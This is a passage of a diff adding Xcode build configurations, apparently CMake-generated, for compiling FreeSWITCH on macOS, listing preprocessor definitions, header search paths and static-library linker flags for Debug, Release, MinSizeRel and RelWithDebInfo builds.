+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = ALL_BUILD;
+				SECTORDER_FLAGS = "";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		4948E04948E04948E0000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = ALL_BUILD;
+				SECTORDER_FLAGS = "";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		495AF0495AF0495AF0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = ALL_BUILD;
+				SECTORDER_FLAGS = "";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		496C70496C70496C70000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = ALL_BUILD;
+				SECTORDER_FLAGS = "";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
+		49C11049C11049C110000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = "";
+				EXECUTABLE_SUFFIX = "";
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_SEARCH_PATHS = "";
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = (
+					"-Wl,-search_paths_first",
+					"-headerpad_max_install_names",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/Debug/libteletone.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/Debug/libpcre.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/Debug/libresample.a",
+					"/Users/shaneburrell/freeswitch-svn-real/src/Debug/libfreeswitch_la.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/Debug/libstfu.a",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+				);
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		49D81049D81049D810000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = "";
+				EXECUTABLE_SUFFIX = "";
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_SEARCH_PATHS = "";
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = (
+					"-Wl,-search_paths_first",
+					"-headerpad_max_install_names",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/Release/libteletone.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/Release/libpcre.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/Release/libresample.a",
+					"/Users/shaneburrell/freeswitch-svn-real/src/Release/libfreeswitch_la.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/Release/libstfu.a",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+				);
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		49EDE049EDE049EDE0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = "";
+				EXECUTABLE_SUFFIX = "";
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_SEARCH_PATHS = "";
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = (
+					"-Wl,-search_paths_first",
+					"-headerpad_max_install_names",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/MinSizeRel/libteletone.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/MinSizeRel/libpcre.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/MinSizeRel/libresample.a",
+					"/Users/shaneburrell/freeswitch-svn-real/src/MinSizeRel/libfreeswitch_la.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/MinSizeRel/libstfu.a",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+				);
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		4A03A04A03A04A03A0000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = "";
+				EXECUTABLE_SUFFIX = "";
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_SEARCH_PATHS = "";
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = (
+					"-Wl,-search_paths_first",
+					"-headerpad_max_install_names",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/RelWithDebInfo/libteletone.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/RelWithDebInfo/libpcre.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/RelWithDebInfo/libresample.a",
+					"/Users/shaneburrell/freeswitch-svn-real/src/RelWithDebInfo/libfreeswitch_la.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/RelWithDebInfo/libstfu.a",
+					"-Llibs/apr/.libs",
+					"-lapr-1",
+					"-L/libs/apr-util/.libs",
+					"-laprutil-1",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src/.libs/libsndfile.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libcryptomath.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/.libs/libsrtp.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite/.libs/libsqlite3.a",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src/.libs/libvoipcodecs.a",
+				);
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
+		4DAE504DAE504DAE50000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/libresample/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_CPLUSPLUSFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch_la;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/src";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		4DC6D04DC6D04DC6D0000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 3;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/libresample/include",
